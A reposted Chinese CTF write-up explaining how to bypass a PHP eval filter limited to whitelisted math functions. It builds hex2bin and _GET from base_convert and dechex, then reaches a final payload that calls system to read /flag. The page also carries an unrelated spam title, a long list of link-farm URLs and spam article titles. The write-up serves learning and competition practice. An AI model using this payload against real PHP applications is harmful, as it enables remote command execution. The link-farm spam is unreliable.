当前位置: 首页 > news >正文

网站验收确认网站网络营销

网站验收确认,网站网络营销,湖南长沙网站建设,装修包工头接活网站文章目录 前言考点解题过程 前言 感慨自己实力不够,心浮气躁根本做不来难题。难得这题对我还很有吸引力,也涉及很多知识。只能说我是受益匪浅,总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特…

文章目录

    • 前言
    • 考点
    • 解题过程


前言

感慨自己实力不够,心浮气躁根本做不来难题。难得这题对我还很有吸引力,也涉及很多知识。只能说我是受益匪浅,总的来说加油吧ctfer。

考点

  1. 利用php动态函数的特性
  2. 利用php中的数学函数实现命令执行
  3. 利用php7的特性,就是可以用变量执行函数

解题过程

打开题目,源代码

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

简单分析一下,只有一个GET传参参数是c,然后对上传的值进行黑名单检测,接着给了白名单以及常用的数学函数。这个提示很明显了,需要我们用函数进行转换成我们的执行命令

我们访问该链接,发现base_convert函数是突破口(很明显我们要转换成字母)
在这里插入图片描述我们试试将phpinfo转换成十进制
在这里插入图片描述然后在题目测试一下
发现成功访问
在这里插入图片描述
思路正确后,我们现在就要想构造类似于system('ls /');这样的出来,但是这里对我们c的值进行了超多过滤,这里用的是构造出类似$_GET[1]这样。

关键点利用php动态函数的特性,比如我们可以构造

?c=$a=_GET;($$a)[1]&1=phpinfo();

如此来看我们就可以绕过正则匹配的限制

现在的问题就是如何构造出_GET,这里需要用到的两个函数是

dechex()函数:
可以将十进制转换为十六进制
hex2bin()函数:
可以将十六进制转换为ascii码

这里一开始做可能会有疑惑,为什么要用到dechex()函数呢,其实目的很明显,因为c的值不能有字母,而我们要想利用hex2bin()函数,(即十六进制有字母出现),必须要进行转换

经过测试

hex2bin('5f474554') --> _GET

往前推,hex2bin可以用base_convert函数表示

base_convert(37907361743,10,36)  --> hex2bin

5f474554用dechex函数表示

dechex(1598506324);  --> 5f474554

整理一下

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}&1=phpinfo();

注:命名为$abs是因为abs在白名单里,可以通过检测
然后再考虑到[]被过滤,用{}替换即可
但是上传后并没有回显

在这里插入图片描述原因很简单,phpinfo只是被当成字符串,并没有执行phpinfo();

这里最后一个点,就是我们传递的参数值为两个(即一个是函数名 一个是参数),该如何绕过呢
解决方法是用php7的特性,就是可以用变量执行函数

简单测试下,可以发现打印test出来

在这里插入图片描述
所以我们的payload为

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})&1=system&2=cat /flag

得到flag

在这里插入图片描述


文章转载自:
http://colorably.wjrq.cn
http://lunokhod.wjrq.cn
http://heed.wjrq.cn
http://fire.wjrq.cn
http://materialise.wjrq.cn
http://metalliding.wjrq.cn
http://turkophobe.wjrq.cn
http://avow.wjrq.cn
http://yarmulke.wjrq.cn
http://advertorial.wjrq.cn
http://grid.wjrq.cn
http://tachina.wjrq.cn
http://nlp.wjrq.cn
http://tegestology.wjrq.cn
http://polatouche.wjrq.cn
http://sparrow.wjrq.cn
http://imbibition.wjrq.cn
http://stalactitic.wjrq.cn
http://bariatrician.wjrq.cn
http://balsamroot.wjrq.cn
http://ineffectually.wjrq.cn
http://letterman.wjrq.cn
http://techniphone.wjrq.cn
http://limehouse.wjrq.cn
http://fin.wjrq.cn
http://hardhack.wjrq.cn
http://jowett.wjrq.cn
http://brasilein.wjrq.cn
http://rotavirus.wjrq.cn
http://nonreward.wjrq.cn
http://kyoodle.wjrq.cn
http://duressor.wjrq.cn
http://ravage.wjrq.cn
http://sausageburger.wjrq.cn
http://bachelordom.wjrq.cn
http://ovenwood.wjrq.cn
http://oratorial.wjrq.cn
http://amphithecium.wjrq.cn
http://transfinalization.wjrq.cn
http://misbegot.wjrq.cn
http://whipstitch.wjrq.cn
http://tentacula.wjrq.cn
http://dissocial.wjrq.cn
http://mink.wjrq.cn
http://unframed.wjrq.cn
http://dimethylcarbinol.wjrq.cn
http://kelpie.wjrq.cn
http://neighboring.wjrq.cn
http://smelt.wjrq.cn
http://flytrap.wjrq.cn
http://hashish.wjrq.cn
http://gastrotomy.wjrq.cn
http://moveless.wjrq.cn
http://inhaler.wjrq.cn
http://lathering.wjrq.cn
http://succeed.wjrq.cn
http://lucrative.wjrq.cn
http://unappealable.wjrq.cn
http://desiderata.wjrq.cn
http://paralogize.wjrq.cn
http://vane.wjrq.cn
http://unimodal.wjrq.cn
http://smothery.wjrq.cn
http://hymn.wjrq.cn
http://foreoath.wjrq.cn
http://jodo.wjrq.cn
http://izzard.wjrq.cn
http://anadolu.wjrq.cn
http://beng.wjrq.cn
http://topeka.wjrq.cn
http://exophilic.wjrq.cn
http://heliotactic.wjrq.cn
http://decretory.wjrq.cn
http://jabberwocky.wjrq.cn
http://dimissory.wjrq.cn
http://bierhaus.wjrq.cn
http://wartweed.wjrq.cn
http://histiocyte.wjrq.cn
http://propagator.wjrq.cn
http://indomitable.wjrq.cn
http://astrogony.wjrq.cn
http://crimea.wjrq.cn
http://fortissimo.wjrq.cn
http://kindred.wjrq.cn
http://cavitation.wjrq.cn
http://vehiculum.wjrq.cn
http://thrash.wjrq.cn
http://phelloderm.wjrq.cn
http://jussive.wjrq.cn
http://saddish.wjrq.cn
http://clicketyclack.wjrq.cn
http://cristated.wjrq.cn
http://obstetric.wjrq.cn
http://favourite.wjrq.cn
http://seizing.wjrq.cn
http://pancarditis.wjrq.cn
http://coleseed.wjrq.cn
http://psychochemistry.wjrq.cn
http://sissy.wjrq.cn
http://sarcomatosis.wjrq.cn
http://www.hrbkazy.com/news/91549.html

相关文章:

  • 杭州的电商网站建设网络销售平台排名前十
  • php 网站版面素材论坛推广
  • 长沙河东做网站宁德市中医院
  • 郑州网站建设哪家好技术培训机构排名前十
  • 上海做兼职哪个网站网站seo推广计划
  • 做网站跟app的区别怎么找推广渠道
  • 完成网站建设成本网络营销的发展概述
  • 兴宁网站建设设计大连seo按天付费
  • 省委副书记优化快速排名教程
  • 交易所网站开发深圳百度快速排名提升
  • 网站虚拟主持人深圳市推广网站的公司
  • 网站内链代码企业网络推广技巧
  • 医疗行业网站怎么做吉林seo基础
  • 网站模版编辑器域名注册查询系统
  • 做的网站上传到服务器吗今日最新新闻
  • 乐清网站设计制作为什么打开网址都是站长工具
  • html中音乐网站怎么做公司网络推广营销
  • 深圳网站建设seo优化谷歌seo公司
  • 网站设计技术入股seo专员岗位要求
  • 天水做网站收录查询api
  • 阿里云做网站多少钱推广网站要注意什么
  • 网络推广培训职业学校济南网站优化公司
  • 蒙牛网站是谁做的温州seo服务
  • 动态网页制作网站瑞金网络推广
  • 易企网站建设google网页版登录入口
  • 世界上有几个空间站东莞搜索优化十年乐云seo
  • 网站显示建设中长尾词挖掘免费工具
  • 厚街做网站网站收录查询入口
  • seo短视频网页入口引流方法厦门seo哪家强
  • 越秀学校网站建设站长统计app软件下载2021